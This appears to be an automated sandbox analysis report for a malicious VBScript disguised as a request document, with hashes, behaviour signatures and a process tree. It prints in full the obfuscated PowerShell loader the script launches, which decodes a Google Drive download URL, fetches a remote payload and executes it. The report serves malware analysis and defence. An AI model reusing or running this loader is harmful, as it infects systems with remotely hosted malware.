Resubmissions

27-11-2024 14:34

241127-rxft1sxlfs 10

27-11-2024 14:30

241127-rt7hkaxkf1 10

Analysis

  • max time kernel
    9s
  • max time network
    8s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    27-11-2024 14:34

General

  • Target

    z34SOLICITUDDEP.vbs

  • Size

    33KB

  • MD5

    f6a1927833d8bdbed39158eeb8fec038

  • SHA1

    d166a956aee76d8c1a17b97905a2a554d71cd796

  • SHA256

    674affabc23dacf7e1dd9f1c663589f1c1f3a8383037f2cb1a547d48beaf34b9

  • SHA512

    6507a607f9964a923a40fdc329b3a1c5b9a36f5afb72129808a6a1121afa1c686c195a7cb8d3781e634d997ffded8b90a5a933bc9f3b06250be127373823b240

  • SSDEEP

    768:hFiasUNgXGy5FMJerHSLNj0Z6AkhZw7XJuBbVVjgHraV:jiasj5zH+GZ6v/w78XNgHuV

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\z34SOLICITUDDEP.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Efteruddannelseskurser='Aabenbaringen';;$Overordentligt233='Lumbayao';;$Sacket='Eggcupful';;$Procrypsis197='Betle';;$Stvknappernemponderableness='Baandtlleren';;$Dbendes=$host.Name;function Tehandelens($lugger){If ($Dbendes) {$sorbeten=4} for ($Stvknapperne=$sorbeten;;$Stvknapperne+=5){if(!$lugger[$Stvknapperne]) { break }$Rinjin+=$lugger[$Stvknapperne]}$Rinjin}function Bacillite($fitchburg){ .($Willard) ($fitchburg)}$Steamfitter=Tehandelens 'NonfNmanuEKosmTlu,e.Br sW XeneShoeB Perc GallLe tImo sE Refn pydT';$Sourdeline=Tehandelens 'UnyoMko.toTr.ez va iInd lL.nilParaaRogn/';$Biliteral=Tehandelens 'FldeTUnd l yhesDele1En.y2';$Peed='Spen[ManiN HusETillTClus.FljksFlise S,rRrekrvRi eiUndeC EncEGradpMaleoHuslIRequnSymoTR fiM reA T enSkamaKlargMiljEKontRUnsn]Macc:serv:kldeS ncEL ndCI dluApplrPlatiIne.tRecrYNebepTiborAcalOPackTCan OcenoCTe,sOKon l Kol=Tth $TorvBUnrei Gonl OptI GleTUnmoEFngsREpita B aL';$Sourdeline+=Tehandelens ' hae5 Sur.Heng0Skov Udle( Pe.W oksiN nen CaldTeleoEr.vwFuldsTrus OrdfNCin TJ,co Inse1Enke0 Bre.Ange0 Ng ;Zyg F,rsWUnexiFissnCosm6.ina4Bulb;Brov ffix ,rg6Bok.4 ort;Co,m Kul,rCompvBlac:Co,v1 for3Job,1Phot.Pr.a0B,lg)Tran Enk.Ggaa.eIndfcun,ikWienoAppl/,elg2Pena0Fusu1 ips0al.e0Samm1Prot0,nlb1Ch l Gat F SesiPleorMouge Vurf.oneoStalxPrem/Euhe1Feri3Eret1Util. Swi0';$Remarking141=Tehandelens ' PolUDoxis tjeEProsr ras-MornaSperGCinde CitNNeedt';$Syntaksanalyseredes=Tehandelens 'Besth egtBispt aggp ColsBehr:Advo/Ufor/PhosdMastrUndei BrovForleSixt.LrregBredo psio ilgls el BloeTr.c.overcCoa.oBag m Spk/Aftru TercAppo? mbleHavrx,ivepPitco Mo rVexet Bo =FrapdBolioStoew Ka nGlanl Dyno StjaTaardKlog&Antii Cald sca=Erot1BlebbCaskV Li 7 pomRubbEMastuBol y Co YpersTNaepHHy.eTmarl5Syll4UdskHSam,GSoluIRidsdpancINo,kdPecuE.upexGnatOPolyePelaBud.rzV rs_Forr8Narc1 anoxSletI BehE Enrd';$Paafuglefjerens=Tehandelens 'Nico>';$Willard=Tehandelens 'Pos ItranEcoucX';$Acidosteophyte='Chough140';$Chemitypy='\Suspensioners.Aut';Bacillite (Tehandelens 'bisp$ApplgGermlvakao PasBsexuAAerol Ple:AchitCherA AfhgDestaPneusreprs D lUMi.sIf rsDJydeaGastEVa r=Sh t$ReenE Id.N PilVLav :Za nAgra PBeskPUndiDRes A KreTRen arigs+ Eur$limpcIndmhMoraeQuanml,ngi.yrtTNondy TarpAfb Y');Bacillite (Tehandelens 'Bir $ ,atgRep L EmbO Re.b A baTidolCo,t:PensUU koNf,igTFor hBeskiInveeB ggvStrmI SanSsludhmi i=Tusn$ KkkScrusY DynnE,anTNavlaF,rhkNonaS GaaaStvvN quoaD,egL Ry,YTedesji,pE ongRPsi EMes dB gsERatisDivi.GastSHypopStrulJordILet,tFric(Ork $SphiPVirka,aliA Petf,latU Th gA.epLdannecommFskelJAm uEEmhtR ,kve sp n SkaSKon )');Bacillite (Tehandelens $Peed);$Syntaksanalyseredes=$Unthievish[0];$Kirsty4=(Tehandelens 'S.lv$PastGpostlAlopoBillBGu nAI epLCl,a: Re,PFilmIJengGBuhkESedjoTr snUnwiAMahobNon lraflEArte=KrftnAmmoeGespWH.rr-Ji,gOHin bTeksJMucoe noncFrgetUdru RefisFdelYmusiSCol,T,ddeEStreM Kv .turn$ Cyks PaltH.erEAwara rypMIl iF AariFr gt AveTBicueKlicR');Bacillite ($Kirsty4);Bacillite (Tehandelens 'Un,u$SeksPHy oi .org BageAymeoSnidn CraaSkribMalalAut,eArbe. ebeHTy.aeDaadaventdEfteeen lr.icasKred[Prag$objeR araeSe vm AnnaSvu,rUdekkParsiDr onFedtgembr1Dkke4 A.n1.eku]B am=Harz$IrriSRicholeviuNskerFusidUnsue NeplTumbi,okenSve e');$Tromlers224=Tehandelens 'Kryp$ BrnPWarri BekgBanae ForoHeglnBe eaAn,eb nralLease A.t.Kkk,D Grao ypsw Pr.nInfolRaadoRa.taNeutd SauFOrniiBismlUnree Ant(expe$Se tSLejey,onnn CohtDataa PrekOplesPrewa Omtn CenaU,pal AmoyMells.homeTriwr U.def eldHe rePerfsJegr,Auto$HamsP Vo n,ongtRoad)';$Pnt=$tagassuidae;Bacillite (Tehandelens 'Oste$Albug ClelRecoOCataBTheiA Gl lForf:Compn G iE undeNin,DPumpLSmoke DifD.ard= Dve( igtSpirEDampSIndtt N l- leP Stea iriTBenghF,kh Insi$Coehp iteNDicrTdrae)');while (!$Needled) {Bacillite (Tehandelens 'th,r$AntigKnytlTilloS.lpbUrovaPe ll g h:H,ssU uddS kksR leaP eil Karg Huls Has=Star$ Ar.E GlunParteLuftcunageElixlSvejl BareKa enSamfs') ;Bacillite $Tromlers224;Bacillite (Tehandelens 'mo.tsNo.nTSpr aCon,RPlactHead-CaulSMilil PaaEPersegi tpSkim Ret4');Bacillite (Tehandelens '.vrt$ iniGmarkLRealo UroB k ra Bo lRedo: BasnKernE onsePhacd En lForlexenoD Tei=C pe(ParaT AskeBlgesBa yTBerm- aduPA elaBry,TA oihOpda Grin$TrknPLageNLondTo no)') ;Bacillite (Tehandelens ' Ven$Facig SkrL ingO BrubBesta S al Pri:DillPKorrSSk lI Coil Un a B,nN Ko tbracHRuskrHypoOK ltpMoorITales erkmRe,m2bone4Fasa0I.fi=Nasu$Mo oGpe,sl rumOurosB VaaAEranLFoye: ForTtredz EleiSnegmFysiMKnogeVarmS Bry+Bold+Anno%Mi,b$EarruuretnUdbrtUnm,H entIDe.oEYng v ZetiA tiSFestHreca.flleCTormORepeU,lurNSaucT') ;$Syntaksanalyseredes=$Unthievish[$Psilanthropism240]}$Recaps=312553;$Slvklos=30447;Bacillite (Tehandelens 'Bilt$SandgLi.hL LovOsc.lB S.aAReimlSpec:F,ersPretUHandBSideD U le DevdMicruRoacCDobbiBrndBBrunlWheyEBrne Bran=Ov.r SaurGFeste SomTK,ar- emicCybeO Be,nTurnt.asseRoseNf,iptBiss Cap.$ WriPPa kNKan T');Bacillite (Tehandelens 'Anlg$fouegFyrrl UndoMegabA oma S plUnre:HandMHan.aPycnrSta iUn.co EpilGoklaCo r Tip=Zeun Be y[SlsfSPatoyViolsInditEmote M nm ete. ScrCJagto No.nBeauvTableAfknr ufft Fir]kata: Pos: PunFS mmrsklsoBr lmBekeBVib aMo gsmetreMejs6Cosc4PleuSObrotReber ClaiOvern Subg Bry( Par$rataSheteu Rinb C ed T aeGingdBrinuReincOve,i kimbFashlT oreey i)');Bacillite (Tehandelens 'Peri$ O tgO teLbefaorumkBKlodABio lRump:gypsH pekyRunkg FarrH.tuOS,atGCa uRKnapAluteMcent Cata=Innu Prae[MicrSMartyS ndsCompTPro EHalamBack.FaveTAftreTvanXstyrtadg,.RosseC ypn,tjfc ivio RocdUno.i DemnesopgBigu],oni:Jv h:TriuaFo esB,llcAms i CyciPou..DesigS ejECheeTInfisWilitLicerTec,i eckN UrogVirk(Cha $ atamzebrA rerConsITrykoInitlProfaFair)');Bacillite (Tehandelens 'Non $Yng,GAnorLKoo.OCl sbLysnA Co lca,s:Co iFper LNyheUBenaSUappkmateeMer rKomm=Al.o$ FemH onmyOphtGSondRUdspo opsgHortrU.huaInteMFlyv.,ears.abiUHa.nbBri,S Blet SenRMudsiMakrNRjseG Ind(Mikr$ nchR olkED micDiffABlaaPVirkSKulh,Thri$ OxiSInclLBlegvTranKA omL sano S as ko)');Bacillite $flusker;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2076

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabB57C.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • memory/2076-20-0x000007FEF5BDE000-0x000007FEF5BDF000-memory.dmp

    Filesize

    4KB

  • memory/2076-23-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2076-22-0x0000000001D90000-0x0000000001D98000-memory.dmp

    Filesize

    32KB

  • memory/2076-21-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

    Filesize

    2.9MB

  • memory/2076-24-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2076-25-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2076-26-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2076-27-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2076-28-0x000007FEF5BDE000-0x000007FEF5BDF000-memory.dmp

    Filesize

    4KB

  • memory/2076-30-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2076-31-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

    Filesize

    9.6MB